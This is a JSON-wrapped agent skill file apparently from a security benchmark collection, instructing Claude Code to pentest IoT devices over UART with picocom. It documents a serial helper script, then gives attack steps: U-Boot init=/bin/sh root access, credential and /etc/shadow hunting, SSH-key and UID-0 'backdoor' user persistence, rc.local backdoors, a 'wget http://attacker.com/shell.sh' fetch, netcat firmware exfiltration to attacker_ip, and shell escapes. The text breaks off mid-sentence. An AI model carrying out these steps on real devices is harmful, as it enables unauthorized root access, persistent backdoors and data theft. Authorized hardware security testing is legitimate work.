[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M71FX0WQSYZN7R3HC0B72KXS":3,"skill-same:01M71FX0WQSYZN7R3HC0B72KXS":76},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":15,"categories":16,"keywords":17,"publishedAt":34,"linkOnly":35,"markdownContent":36,"markdownBody":37,"frontMatter":38,"refName":39,"commitSha":40,"skillDirectory":41,"forksCount":42,"repositoryHtmlUrl":43,"repositoryHomepageUrl":6,"ownerHtmlUrl":44,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":45,"install":46,"resources":59},"01M71FX0WQSYZN7R3HC0B72KXS","picocom",null,"Use picocom to interact with IoT device UART consoles for pentesting operations including device enumeration, vulnerability discovery, bootloader manipulation, and gaining root shells. Use when the user needs to interact with embedded devices, IoT hardware, or serial consoles.","JSGforever\u002Fskillguard","JSGforever","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F85541948?v=4","01M71FQD3E132VMR5F4TAYX3YS","01M71FQD4DYW0XJ4XQ4YQH75Y9",2,"GPL-3.0","https:\u002F\u002Fgithub.com\u002FJSGforever\u002Fskillguard\u002Fblob\u002Fmain\u002Fbenchmarks\u002Ffinal\u002Fskills\u002Fasset1__BrownFineSecurity--picocom\u002FSKILL.md",[],[5,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33],"iot","hardware","user","embedded","device","root","enumeration","operations","with","pentesting","use","devices","discovery","for","vulnerability","when","2026-11-10 10:12:30",false,"---\nname: picocom\ndescription: Use picocom to interact with IoT device UART consoles for pentesting operations including device enumeration, vulnerability discovery, bootloader manipulation, and gaining root shells. Use when the user needs to interact with embedded devices, IoT hardware, or serial consoles.\n---\n\n# IoT UART Console (picocom)\n\nThis skill enables interaction with IoT device UART consoles using picocom for security testing and penetration testing operations. It supports bootloader interaction, shell access (with or without authentication), device enumeration, and vulnerability discovery.\n\n## Prerequisites\n\n- picocom must be installed on the system\n- Python 3 with pyserial library (`sudo pacman -S python-pyserial` on Arch, or `pip install pyserial`)\n- UART connection to the target device (USB-to-serial adapter, FTDI cable, etc.)\n- Appropriate permissions to access serial devices (typically \u002Fdev\u002FttyUSB* or \u002Fdev\u002FttyACM*)\n\n## Recommended Approach: Serial Helper Script\n\n**IMPORTANT**: This skill includes a Python helper script (`serial_helper.py`) that provides a clean, reliable interface for serial communication. **This is the RECOMMENDED method** for interacting with IoT devices.\n\n### Default Session Logging\n\n**ALL commands run by Claude will be logged to `\u002Ftmp\u002Fserial_session.log` by default.**\n\nTo observe what Claude is doing in real-time:\n```bash\n# In a separate terminal, run:\ntail -f \u002Ftmp\u002Fserial_session.log\n```\n\nThis allows you to watch all serial I\u002FO as it happens without interfering with the connection.\n\n### Why Use the Serial Helper?\n\nThe helper script solves many problems with direct picocom usage:\n- **Clean output**: Automatically removes command echoes, prompts, and ANSI codes\n- **Prompt detection**: Automatically detects and waits for device prompts\n- **Timeout handling**: Proper timeout management with no arbitrary sleeps\n- **Easy scripting**: Simple command-line interface for single commands or batch operations\n- **Session logging**: All I\u002FO logged to `\u002Ftmp\u002Fserial_session.log` for observation\n- **Reliable**: No issues with TTY requirements or background processes\n\n### Quick Start with Serial Helper\n\n**Single Command:**\n```bash\npython3 .claude\u002Fskills\u002Fpicocom\u002Fserial_helper.py --device \u002Fdev\u002FttyUSB0 --command \"help\"\n```\n\n**With Custom Prompt (recommended for known devices):**\n```bash\npython3 .claude\u002Fskills\u002Fpicocom\u002Fserial_helper.py --device \u002Fdev\u002FttyUSB0 --prompt \"User@[^>]+>\" --command \"ifconfig\"\n```\n\n**Interactive Mode:**\n```bash\npython3 .claude\u002Fskills\u002Fpicocom\u002Fserial_helper.py --device \u002Fdev\u002FttyUSB0 --interactive\n```\n\n**Batch Commands from File:**\n```bash\n# Create a file with commands (one per line)\necho -e \"help\\ndate\\nifconfig\\nps\" > commands.txt\npython3 .claude\u002Fskills\u002Fpicocom\u002Fserial_helper.py --device \u002Fdev\u002FttyUSB0 --script commands.txt\n```\n\n**JSON Output (for parsing):**\n```bash\npython3 .claude\u002Fskills\u002Fpicocom\u002Fserial_helper.py --device \u002Fdev\u002FttyUSB0 --command \"help\" --json\n```\n\n**Debug Mode:**\n```bash\npython3 .claude\u002Fskills\u002Fpicocom\u002Fserial_helper.py --device \u002Fdev\u002FttyUSB0 --command \"help\" --debug\n```\n\n**Session Logging (for observation):**\n```bash\n# Terminal 1 - Run with logging\npython3 .claude\u002Fskills\u002Fpicocom\u002Fserial_helper.py \\\n  --device \u002Fdev\u002FttyUSB0 \\\n  --prompt \"User@[^>]+>\" \\\n  --logfile \u002Ftmp\u002Fsession.log \\\n  --interactive\n\n# Terminal 2 - Watch the session in real-time\ntail -f \u002Ftmp\u002Fsession.log\n```\n\n**Note:** See `OBSERVING_SESSIONS.md` for comprehensive guide on monitoring serial sessions.\n\n### Monitor Mode (Passive Listening)\n\n**NEW FEATURE**: Monitor mode is designed for passive UART monitoring where the device outputs logs without prompts or interaction.\n\n**Use cases:**\n- Monitoring boot logs from devices without interactive consoles\n- Capturing triggered output when external actions are performed\n- Testing if network requests or hardware events generate UART logs\n- Baseline vs triggered output comparison\n\n**Basic passive monitoring:**\n```bash\npython3 .claude\u002Fskills\u002Fpicocom\u002Fserial_helper.py \\\n  --device \u002Fdev\u002FttyUSB0 \\\n  --monitor \\\n  --duration 30 \\\n  --logfile \u002Ftmp\u002Fuart.log\n```\n\n**Monitor with external trigger script:**\n```bash\n# Run external script after 5 seconds and capture triggered UART output\npython3 .claude\u002Fskills\u002Fpicocom\u002Fserial_helper.py \\\n  --device \u002Fdev\u002FttyUSB0 \\\n  --monitor \\\n  --duration 60 \\\n  --trigger-script \"python3 \u002Fpath\u002Fto\u002Ftest_script.py\" \\\n  --trigger-delay 5 \\\n  --logfile \u002Ftmp\u002Ftriggered_uart.log\n```\n\n**Monitor with baseline capture:**\n```bash\n# Capture 10s baseline, run trigger at 15s, continue for total 60s\npython3 .claude\u002Fskills\u002Fpicocom\u002Fserial_helper.py \\\n  --device \u002Fdev\u002FttyUSB0 \\\n  --monitor \\\n  --duration 60 \\\n  --trigger-script \"curl http:\u002F\u002F192.168.1.100\u002Fapi\u002Freboot\" \\\n  --trigger-delay 15 \\\n  --baseline-duration 10 \\\n  --logfile \u002Ftmp\u002Freboot_monitor.log\n```\n\n**Monitor mode options:**\n- `--duration SECONDS` - Total monitoring time (default: 30)\n- `--trigger-script CMD` - External command\u002Fscript to run during monitoring\n- `--trigger-delay SECONDS` - When to run trigger (default: 5)\n- `--baseline-duration SECONDS` - Capture baseline before trigger (default: 0)\n- `--logfile FILE` - Log all I\u002FO to file\n- `--json` - Output results in JSON format\n\n**Output includes:**\n- Real-time timestamped console output\n- Baseline vs trigger vs post-trigger categorization\n- Trigger script exit code and output\n- Summary statistics (bytes captured in each phase)\n- Timeline with all captured data\n\n### Serial Helper Options\n\n```\nRequired (one of):\n  --command, -c CMD         Execute single command\n  --interactive, -i         Enter interactive mode\n  --script, -s FILE         Execute commands from file\n  --monitor, -m             Passive monitoring mode (just listen, no commands)\n\nConnection Options:\n  --device, -d DEV          Serial device (default: \u002Fdev\u002FttyUSB0)\n  --baud, -b RATE           Baud rate (default: 115200)\n  --timeout, -t SECONDS     Command timeout (default: 3.0)\n  --prompt, -p PATTERN      Custom prompt regex pattern\n  --at-mode, -a             AT command mode for cellular\u002Fsatellite modems\n\nMonitor Mode Options:\n  --duration SECONDS        Monitoring duration (default: 30.0)\n  --trigger-script CMD      External script\u002Fcommand to run during monitoring\n  --trigger-delay SECONDS   Seconds before running trigger (default: 5.0)\n  --baseline-duration SEC   Baseline capture duration (default: 0.0)\n\nOutput Options:\n  --raw, -r                 Don't clean output (show echoes, prompts)\n  --json, -j                Output in JSON format\n  --logfile, -l FILE        Log all I\u002FO to file (can tail -f in another terminal)\n  --debug                   Show debug information\n```\n\n### Common Prompt Patterns\n\nThe helper script includes common prompt patterns, but you can specify custom ones:\n\n```bash\n# Uniview camera\n--prompt \"User@[^>]+>\"\n\n# Standard root\u002Fuser prompts\n--prompt \"[#\\$]\\s*$\"\n\n# U-Boot bootloader\n--prompt \"=>\\s*$\"\n\n# Custom device\n--prompt \"MyDevice>\"\n```\n\n### AT Command Mode (Cellular\u002FSatellite Modems)\n\n**IMPORTANT**: When interacting with AT command interfaces (cellular modems, satellite modems, GPS modules), use the `--at-mode` flag. AT interfaces do NOT use shell prompts - they respond with `OK`, `ERROR`, or specific result codes.\n\n**When to use AT mode:**\n- Cellular modems (Quectel, Sierra Wireless, u-blox, SIMCom, Telit)\n- Satellite modems (Iridium, Globalstar)\n- GPS modules with AT interface\n- Any device that responds to AT commands with OK\u002FERROR\n\n**Basic AT command usage:**\n```bash\n# Single AT command\npython3 .claude\u002Fskills\u002Fpicocom\u002Fserial_helper.py \\\n  --device \u002Fdev\u002FttyUSB0 \\\n  --at-mode \\\n  --command \"AT\" \\\n  --logfile \u002Ftmp\u002Fserial_session.log\n\n# Get modem info\npython3 .claude\u002Fskills\u002Fpicocom\u002Fserial_helper.py \\\n  --device \u002Fdev\u002FttyUSB0 \\\n  --at-mode \\\n  --command \"ATI\" \\\n  --logfile \u002Ftmp\u002Fserial_session.log\n\n# Get IMEI\npython3 .claude\u002Fskills\u002Fpicocom\u002Fserial_helper.py \\\n  --device \u002Fdev\u002FttyUSB0 \\\n  --at-mode \\\n  --command \"AT+CGSN\" \\\n  --logfile \u002Ftmp\u002Fserial_session.log\n```\n\n**AT mode enumeration example:**\n```bash\nHELPER=\"python3 .claude\u002Fskills\u002Fpicocom\u002Fserial_helper.py\"\nDEVICE=\"\u002Fdev\u002FttyUSB0\"\nLOGFILE=\"\u002Ftmp\u002Fserial_session.log\"\n\n# Basic connectivity test\n$HELPER --device $DEVICE --at-mode --logfile \"$LOGFILE\" --command \"AT\"\n\n# Device identification\n$HELPER --device $DEVICE --at-mode --logfile \"$LOGFILE\" --command \"ATI\"\n$HELPER --device $DEVICE --at-mode --logfile \"$LOGFILE\" --command \"AT+CGMI\"\n$HELPER --device $DEVICE --at-mode --logfile \"$LOGFILE\" --command \"AT+CGMM\"\n$HELPER --device $DEVICE --at-mode --logfile \"$LOGFILE\" --command \"AT+CGMR\"\n\n# SIM and network info\n$HELPER --device $DEVICE --at-mode --logfile \"$LOGFILE\" --command \"AT+CGSN\"\n$HELPER --device $DEVICE --at-mode --logfile \"$LOGFILE\" --command \"AT+CIMI\"\n$HELPER --device $DEVICE --at-mode --logfile \"$LOGFILE\" --command \"AT+CCID\"\n$HELPER --device $DEVICE --at-mode --logfile \"$LOGFILE\" --command \"AT+CSQ\"\n$HELPER --device $DEVICE --at-mode --logfile \"$LOGFILE\" --command \"AT+CREG?\"\n$HELPER --device $DEVICE --at-mode --logfile \"$LOGFILE\" --command \"AT+COPS?\"\n```\n\n**Batch AT commands from file:**\n```bash\n# Create AT command script\ncat > at_enum.txt \u003C\u003C 'EOF'\nAT\nATI\nAT+CGMI\nAT+CGMM\nAT+CGMR\nAT+CGSN\nAT+CSQ\nAT+CREG?\nAT+COPS?\nEOF\n\n# Execute batch\npython3 .claude\u002Fskills\u002Fpicocom\u002Fserial_helper.py \\\n  --device \u002Fdev\u002FttyUSB0 \\\n  --at-mode \\\n  --script at_enum.txt \\\n  --logfile \u002Ftmp\u002Fserial_session.log\n```\n\n**Interactive AT session:**\n```bash\npython3 .claude\u002Fskills\u002Fpicocom\u002Fserial_helper.py \\\n  --device \u002Fdev\u002FttyUSB0 \\\n  --at-mode \\\n  --interactive \\\n  --logfile \u002Ftmp\u002Fserial_session.log\n```\n\n**AT mode response handling:**\n- `OK` - Command succeeded\n- `ERROR` - Command failed (generic)\n- `+CME ERROR: \u003Ccode>` - Mobile equipment error with code\n- `+CMS ERROR: \u003Ccode>` - SMS-related error with code\n- `NO CARRIER` - Connection lost\u002Ffailed\n- `CONNECT` - Data connection established\n\n**Common AT command categories for pentesting:**\n```bash\n# Network and connectivity\nAT+CGDCONT?     # PDP context (APN settings)\nAT+QIOPEN       # Open socket (Quectel)\nAT+QISTATE?     # Socket state (Quectel)\n\n# Device management\nAT+CFUN?        # Phone functionality\nAT+CPIN?        # SIM PIN status\nAT+CLCK         # Facility lock (SIM lock status)\n\n# Firmware and updates\nAT+CGMR         # Firmware version\nAT+QGMR         # Extended firmware info (Quectel)\n\n# Debug\u002Fengineering modes (may expose sensitive info)\nAT+QENG         # Engineering mode (Quectel)\nAT$QCPWD        # Password commands (Qualcomm)\n```\n\n### Device Enumeration Example with Serial Helper\n\nHere's a complete example of safely enumerating a device:\n\n```bash\n# Set variables for convenience\nHELPER=\"python3 .claude\u002Fskills\u002Fpicocom\u002Fserial_helper.py\"\nDEVICE=\"\u002Fdev\u002FttyUSB0\"\nPROMPT=\"User@[^>]+>\"  # Adjust for your device\nLOGFILE=\"\u002Ftmp\u002Fserial_session.log\"\n\n# Get available commands\n$HELPER --device $DEVICE --prompt \"$PROMPT\" --logfile \"$LOGFILE\" --command \"help\"\n\n# System information\n$HELPER --device $DEVICE --prompt \"$PROMPT\" --logfile \"$LOGFILE\" --command \"date\"\n$HELPER --device $DEVICE --prompt \"$PROMPT\" --logfile \"$LOGFILE\" --command \"runtime\"\n\n# Network configuration\n$HELPER --device $DEVICE --prompt \"$PROMPT\" --logfile \"$LOGFILE\" --command \"ifconfig\"\n$HELPER --device $DEVICE --prompt \"$PROMPT\" --logfile \"$LOGFILE\" --command \"route\"\n\n# Process listing (may need longer timeout)\n$HELPER --device $DEVICE --prompt \"$PROMPT\" --logfile \"$LOGFILE\" --timeout 5 --command \"ps\"\n\n# File system exploration\n$HELPER --device $DEVICE --prompt \"$PROMPT\" --logfile \"$LOGFILE\" --command \"ls\"\n$HELPER --device $DEVICE --prompt \"$PROMPT\" --logfile \"$LOGFILE\" --command \"ls \u002Fetc\"\n\n# Device identifiers\n$HELPER --device $DEVICE --prompt \"$PROMPT\" --logfile \"$LOGFILE\" --command \"getudid\"\n$HELPER --device $DEVICE --prompt \"$PROMPT\" --logfile \"$LOGFILE\" --command \"catmwarestate\"\n```\n\n**IMPORTANT FOR CLAUDE CODE**: When using this skill, ALWAYS include `--logfile \u002Ftmp\u002Fserial_session.log` in every command so the user can monitor activity with `tail -f \u002Ftmp\u002Fserial_session.log`.\n\n### Pentesting Use Case: Trigger-Based UART Analysis\n\nA common IoT pentesting scenario: testing if network requests, API calls, or hardware events trigger debug output on UART.\n\n**Example: Testing if API requests generate UART logs**\n```bash\n# Monitor UART while sending network request\npython3 .claude\u002Fskills\u002Fpicocom\u002Fserial_helper.py \\\n  --device \u002Fdev\u002FttyUSB0 \\\n  --monitor \\\n  --duration 30 \\\n  --trigger-script \"curl -X POST http:\u002F\u002F192.168.1.100\u002Fapi\u002Fupdate\" \\\n  --trigger-delay 5 \\\n  --logfile \u002Ftmp\u002Fapi_test.log\n\n# Review what the device logged when API was called\ncat \u002Ftmp\u002Fapi_test.log\n```\n\n**Example: Testing authentication attempts**\n```bash\n# Monitor UART during login attempts\npython3 .claude\u002Fskills\u002Fpicocom\u002Fserial_helper.py \\\n  --device \u002Fdev\u002FttyUSB0 \\\n  --monitor \\\n  --duration 45 \\\n  --trigger-script \"python3 brute_force_login.py\" \\\n  --trigger-delay 10 \\\n  --baseline-duration 5 \\\n  --logfile \u002Ftmp\u002Fauth_test.log \\\n  --json > \u002Ftmp\u002Fauth_results.json\n```\n\n**Example: Boot sequence analysis**\n```bash\n# Capture device boot logs (reboot via network API)\npython3 .claude\u002Fskills\u002Fpicocom\u002Fserial_helper.py \\\n  --device \u002Fdev\u002FttyUSB0 \\\n  --monitor \\\n  --duration 120 \\\n  --trigger-script \"curl http:\u002F\u002F192.168.1.100\u002Fapi\u002Freboot\" \\\n  --trigger-delay 5 \\\n  --logfile \u002Ftmp\u002Fboot_sequence.log\n```\n\n**Why this is useful for pentesting:**\n- Devices often leak sensitive info (passwords, keys, paths) in UART logs\n- Debug output may reveal internal API endpoints or protocols\n- Error messages can expose vulnerabilities\n- Boot logs show secure boot status, loaded modules, and filesystem paths\n- Authentication attempts may log usernames\u002Ftokens in cleartext\n\n**IMPORTANT FOR CLAUDE CODE**: When using this skill, ALWAYS include `--logfile \u002Ftmp\u002Fserial_session.log` in every command so the user can monitor activity with `tail -f \u002Ftmp\u002Fserial_session.log`.\n\n## Alternative: Direct picocom Usage (Advanced)\n\nIf you need direct picocom access (e.g., for bootloader interaction during boot), you can use picocom directly. However, this is more complex and error-prone.\n\n## Instructions\n\n### 1. Connection Setup\n\n**CRITICAL**: picocom runs interactively and CANNOT be controlled via standard stdin\u002Fstdout pipes. Use the following approach:\n\n1. **Always run picocom in a background shell** using `run_in_background: true`\n2. **Monitor output** using the BashOutput tool to read responses\n3. **Send commands** by using `Ctrl-A Ctrl-S` to enter send mode, or by writing to the device file directly\n\n**Default connection command:**\n```bash\npicocom -b 115200 --nolock --omap crlf --echo \u002Fdev\u002FttyUSB0\n```\n\n**Defaults (unless specified otherwise):**\n- **Baud rate**: 115200 (most common for IoT devices)\n- **Device**: \u002Fdev\u002FttyUSB0 (most common USB-to-serial adapter)\n- **Always use `--nolock`**: Prevents file locking issues unless user specifically requests otherwise\n\n**Alternative baud rates** (if 115200 doesn't work):\n- 57600\n- 38400\n- 19200\n- 9600\n- 230400 (less common, high-speed)\n\n**Alternative device paths:**\n- \u002Fdev\u002FttyUSB0, \u002Fdev\u002FttyUSB1, \u002Fdev\u002FttyUSB2, ... (USB-to-serial adapters)\n- \u002Fdev\u002FttyACM0, \u002Fdev\u002FttyACM1, ... (USB CDC devices)\n- \u002Fdev\u002FttyS0, \u002Fdev\u002FttyS1, ... (built-in serial ports)\n\n**Essential picocom options:**\n- `-b` or `--baud`: Set baud rate (use 115200 by default)\n- `--nolock`: Disable file locking (ALWAYS use unless user asks not to)\n- `--omap crlf`: Map output CR to CRLF (helps with formatting)\n- `--echo`: Enable local echo (see what you type)\n- `--logfile \u003Cfile>`: Log all session output to a file (recommended)\n- `-q` or `--quiet`: Suppress picocom status messages\n- `--imap lfcrlf`: Map LF to CRLF on input (sometimes needed)\n\n### 2. Detecting Console State\n\nAfter connecting, you need to identify what state the device is in:\n\n**a) Blank\u002FSilent Console:**\n- Press Enter several times to check for a prompt\n- Try Ctrl-C to interrupt any running processes\n- If still nothing, the device may be in bootloader waiting state - try space bar or other bootloader interrupt keys\n\n**b) Bootloader (U-Boot, etc.):**\n- Look for prompts like `U-Boot>`, `=>`, `uboot>`, `Boot>`\n- Bootloaders often have a countdown that can be interrupted\n- Common interrupt keys: Space, Enter, specific keys mentioned in boot messages\n\n**c) Login Prompt:**\n- Look for `login:` or `username:` prompts\n- Common default credentials for IoT devices:\n  - root \u002F root\n  - admin \u002F admin\n  - root \u002F (no password)\n  - admin \u002F password\n  - Check manufacturer documentation or online databases\n\n**d) Shell Access:**\n- You may drop directly into a root shell\n- Look for prompts like `#`, `$`, `>`, or custom prompts\n\n### 2.1. BusyBox Shells (Most IoT Devices)\n\n**IMPORTANT**: The vast majority of IoT devices use BusyBox, a lightweight suite of Unix utilities designed for embedded systems. BusyBox provides a minimal shell environment with limited command functionality.\n\n**Identifying BusyBox:**\n```bash\n# Check what shell you're using\nbusybox\nbusybox --help\n\n# Or check symlinks\nls -la \u002Fbin\u002Fsh\n# Often shows: \u002Fbin\u002Fsh -> \u002Fbin\u002Fbusybox\n\n# List available BusyBox applets\nbusybox --list\n```\n\n**BusyBox Limitations:**\n- Many standard Linux commands may be simplified versions\n- Some common flags\u002Foptions may not be available\n- Features like tab completion may be limited or absent\n- Some exploitation techniques that work on full Linux may not work\n\n**Common BusyBox commands available:**\n```bash\n# Core utilities (usually available)\ncat, ls, cd, pwd, echo, cp, mv, rm, mkdir, chmod, chown\nps, kill, top, free, df, mount, umount\ngrep, find, sed, awk (limited versions)\nifconfig, route, ping, netstat, telnet\nvi (basic text editor - no syntax highlighting)\n\n# Check what's available\nbusybox --list | sort\nls \u002Fbin \u002Fsbin \u002Fusr\u002Fbin \u002Fusr\u002Fsbin\n```\n\n**BusyBox-specific considerations for pentesting:**\n- `ps` output format may differ from standard Linux\n- Some privilege escalation techniques require commands not in BusyBox\n- File permissions still work the same (SUID, sticky bits, etc.)\n- Networking tools are often present (telnet, wget, nc\u002Fnetcat, ftpget)\n- Python\u002FPerl\u002FRuby are usually NOT available (device storage constraints)\n\n**Useful BusyBox commands for enumeration:**\n```bash\n# Check BusyBox version (may have known vulnerabilities)\nbusybox | head -1\n\n# Network utilities often available\nnc -l -p 4444  # Netcat listener\nwget http:\u002F\u002Fattacker.com\u002Fshell.sh\nftpget server file\ntelnet 192.168.1.1\n\n# httpd (web server) often included\nbusybox httpd -p 8080 -h \u002Ftmp  # Quick file sharing\n```\n\n**Reference Documentation:**\n- [BusyBox Official Site](https:\u002F\u002Fbusybox.net\u002F)\n- [BusyBox Command List](https:\u002F\u002Fbusybox.net\u002Fdownloads\u002FBusyBox.html)\n- [BusyBox Source Code](https:\u002F\u002Fgit.busybox.net\u002Fbusybox\u002F)\n\n### 3. Interacting with the Console\n\n**Sending commands to picocom:**\n\nSince picocom is interactive, you have several options:\n\n**Option A: Write directly to the device file**\n```bash\necho \"command\" > \u002Fdev\u002FttyUSB0\n```\n\n**Option B: Use expect or similar tools**\n```bash\nexpect -c \"\n  spawn picocom -b 115200 --nolock \u002Fdev\u002FttyUSB0\n  send \\\"command\\r\\\"\n  expect \\\"#\\\"\n  exit\n\"\n```\n\n**Option C: Use screen instead of picocom (may be easier to script)**\n```bash\nscreen \u002Fdev\u002FttyUSB0 115200\n```\n\n**Picocom keyboard shortcuts:**\n- `Ctrl-A Ctrl-X`: Exit picocom\n- `Ctrl-A Ctrl-Q`: Quit without resetting\n- `Ctrl-A Ctrl-U`: Increase baud rate\n- `Ctrl-A Ctrl-D`: Decrease baud rate\n- `Ctrl-A Ctrl-T`: Toggle local echo\n- `Ctrl-A Ctrl-S`: Send file (can be used to send commands)\n\n### 4. Device Enumeration\n\nOnce you have shell access, gather the following information:\n\n**System Information:**\n```bash\n# Kernel and system info\nuname -a\ncat \u002Fproc\u002Fversion\ncat \u002Fproc\u002Fcpuinfo\ncat \u002Fproc\u002Fmeminfo\n\n# Distribution\u002Ffirmware info\ncat \u002Fetc\u002Fissue\ncat \u002Fetc\u002F*release*\ncat \u002Fetc\u002F*version*\n\n# Hostname and network\nhostname\ncat \u002Fetc\u002Fhostname\nifconfig -a\nip addr show\ncat \u002Fetc\u002Fnetwork\u002Finterfaces\ncat \u002Fetc\u002Fresolv.conf\n\n# Mounted filesystems\nmount\ncat \u002Fproc\u002Fmounts\ndf -h\n\n# Running processes\nps aux\nps -ef\ntop -b -n 1\n```\n\n**User and Permission Information:**\n```bash\n# Current user context\nid\nwhoami\ngroups\n\n# User accounts\ncat \u002Fetc\u002Fpasswd\ncat \u002Fetc\u002Fshadow  # If readable - major security issue!\ncat \u002Fetc\u002Fgroup\n\n# Sudo\u002Fprivilege info\nsudo -l\ncat \u002Fetc\u002Fsudoers\n```\n\n**Network Services:**\n```bash\n# Listening services\nnetstat -tulpn\nss -tulpn\nlsof -i\n\n# Firewall rules\niptables -L -n -v\ncat \u002Fetc\u002Fiptables\u002F*\n```\n\n**Interesting Files and Directories:**\n```bash\n# Configuration files\nls -la \u002Fetc\u002F\nfind \u002Fetc\u002F -type f -readable\n\n# Web server configs\nls -la \u002Fetc\u002Fnginx\u002F\nls -la \u002Fetc\u002Fapache2\u002F\nls -la \u002Fvar\u002Fwww\u002F\n\n# Credentials and keys\nfind \u002F -name \"*.pem\" 2>\u002Fdev\u002Fnull\nfind \u002F -name \"*.key\" 2>\u002Fdev\u002Fnull\nfind \u002F -name \"*password*\" 2>\u002Fdev\u002Fnull\nfind \u002F -name \"*credential*\" 2>\u002Fdev\u002Fnull\ngrep -r \"password\" \u002Fetc\u002F 2>\u002Fdev\u002Fnull\n\n# SUID\u002FSGID binaries (privilege escalation vectors)\nfind \u002F -perm -4000 -type f 2>\u002Fdev\u002Fnull\nfind \u002F -perm -2000 -type f 2>\u002Fdev\u002Fnull\n\n# World-writable files\u002Fdirectories\nfind \u002F -perm -2 -type f 2>\u002Fdev\u002Fnull\nfind \u002F -perm -2 -type d 2>\u002Fdev\u002Fnull\n\n# Development\u002Fdebugging tools\nwhich gdb gcc python perl ruby tcpdump\nls \u002Fusr\u002Fbin\u002F \u002Fbin\u002F \u002Fsbin\u002F \u002Fusr\u002Fsbin\u002F\n```\n\n### 5. Bootloader Exploitation\n\nIf you have access to the bootloader (U-Boot, etc.):\n\n**Common U-Boot commands:**\n```bash\n# Print environment variables\nprintenv\n\n# Modify boot arguments (e.g., init=\u002Fbin\u002Fsh for root shell)\nsetenv bootargs \"${bootargs} init=\u002Fbin\u002Fsh\"\nsaveenv\nboot\n\n# Alternative: single user mode\nsetenv bootargs \"${bootargs} single\"\nsetenv bootargs \"${bootargs} init=\u002Fbin\u002Fbash\"\n\n# Boot from network (TFTP) for custom firmware\nsetenv serverip 192.168.1.100\nsetenv ipaddr 192.168.1.200\ntftpboot 0x80000000 custom_image.bin\nbootm 0x80000000\n\n# Memory examination\nmd \u003Caddress>  # Memory display\nmm \u003Caddress>  # Memory modify\nmw \u003Caddress> \u003Cvalue>  # Memory write\n\n# Flash operations\nerase \u003Cstart> \u003Cend>\ncp.b \u003Csource> \u003Cdest> \u003Ccount>\n\n# Other useful commands\nhelp\nbdinfo  # Board info\nversion\nreset\n```\n\n### 6. Privilege Escalation (if not root)\n\n**Check for common vulnerabilities:**\n```bash\n# Kernel exploits\nuname -r  # Check kernel version for known exploits\n\n# Check for exploitable services\nps aux | grep root\n\n# Writable service files\nfind \u002Fetc\u002Finit.d\u002F -writable 2>\u002Fdev\u002Fnull\nfind \u002Flib\u002Fsystemd\u002Fsystem\u002F -writable 2>\u002Fdev\u002Fnull\n\n# Cron jobs\ncrontab -l\nls -la \u002Fetc\u002Fcron*\ncat \u002Fetc\u002Fcrontab\n```\n\n### 7. Persistence and Further Access\n\n**Establish additional access methods:**\n```bash\n# Add SSH access\nmkdir -p \u002Froot\u002F.ssh\necho \"your_ssh_public_key\" >> \u002Froot\u002F.ssh\u002Fauthorized_keys\nchmod 600 \u002Froot\u002F.ssh\u002Fauthorized_keys\nchmod 700 \u002Froot\u002F.ssh\n\n# Start SSH service (if not running)\n\u002Fetc\u002Finit.d\u002Fssh start\n# or\n\u002Fetc\u002Finit.d\u002Fsshd start\n# or\n\u002Fetc\u002Finit.d\u002Fdropbear start  # Common on embedded devices\n\n# Add a backdoor user\necho \"backdoor:x:0:0::\u002Froot:\u002Fbin\u002Fsh\" >> \u002Fetc\u002Fpasswd\npasswd backdoor\n\n# Add to startup scripts\necho \"\u002Fpath\u002Fto\u002Fbackdoor &\" >> \u002Fetc\u002Frc.local\n```\n\n### 8. Firmware Extraction\n\n**Extract firmware for offline analysis:**\n```bash\n# Find MTD partitions (common on embedded devices)\ncat \u002Fproc\u002Fmtd\ncat \u002Fproc\u002Fpartitions\n\n# Dump flash partitions\ndd if=\u002Fdev\u002Fmtd0 of=\u002Ftmp\u002Fbootloader.bin\ndd if=\u002Fdev\u002Fmtd1 of=\u002Ftmp\u002Fkernel.bin\ndd if=\u002Fdev\u002Fmtd2 of=\u002Ftmp\u002Frootfs.bin\n\n# Copy to external storage or network\n# If network is available:\nnc attacker_ip 4444 \u003C \u002Ftmp\u002Frootfs.bin\n\n# If USB storage is available:\nmount \u002Fdev\u002Fsda1 \u002Fmnt\ncp \u002Ftmp\u002F*.bin \u002Fmnt\u002F\numount \u002Fmnt\n```\n\n### 9. Cleanup and Exit\n\n**To exit picocom:**\n- Press `Ctrl-A` followed by `Ctrl-X`\n- Or use `killall picocom` from another terminal\n\n**If you need to kill the background shell:**\n- Use the KillShell tool with the appropriate shell_id\n\n## Common IoT Device Scenarios\n\n### Scenario 1: No Authentication Shell\n```bash\n# Connect\npicocom -b 115200 --nolock \u002Fdev\u002FttyUSB0\n\n# Press Enter, get root shell immediately\n# Enumerate and exploit\n```\n\n### Scenario 2: Password-Protected Shell\n```bash\n# Connect and see login prompt\n# Try default credentials:\n# - root\u002Froot\n# - admin\u002Fadmin\n# - root\u002F(empty)\n# Search online for device-specific defaults\n```\n\n### Scenario 3: Bootloader to Root Shell\n```bash\n# Interrupt boot countdown (press Space\u002FEnter)\n# Get U-Boot prompt\nsetenv bootargs \"${bootargs} init=\u002Fbin\u002Fsh\"\nboot\n# Get root shell without authentication\n```\n\n### Scenario 4: Limited Shell Escape\n```bash\n# If you get a limited shell:\n# Try common escape techniques:\necho $SHELL\n\u002Fbin\u002Fsh\n\u002Fbin\u002Fbash\nvi  # Then :!\u002Fbin\u002Fsh\nless \u002Fetc\u002Fpasswd  # Then !\u002Fbin\u002Fsh\nfind \u002F -exec \u002Fbin\u002Fsh \\;\nawk 'BEGIN {system(\"\u002Fbin\u002Fsh\")}'\n```\n\n## Security Testing Checklist\n\n- [ ] Identify device and firmware version\n- [ ] Check for default credentials\n- [ ] Enumerate network services and open ports\n- [ ] Check for hardcoded credentials in files\n- [ ] Test for command injection vulnerabilities\n- [ ] Check file permissions (SUID, world-writable)\n- [ ] Test bootloader security (password protection, command restrictions)\n- [ ] Check for outdated software with known CVEs\n- [ ] Test for privilege escalation vectors\n- [ ] Extract firmware for offline analysis\n- [ ] Document all findings with screenshots\u002Flogs\n\n## Best Practices\n\n1. **Always log your session**: Use `--logfile session.log`\n2. **Document 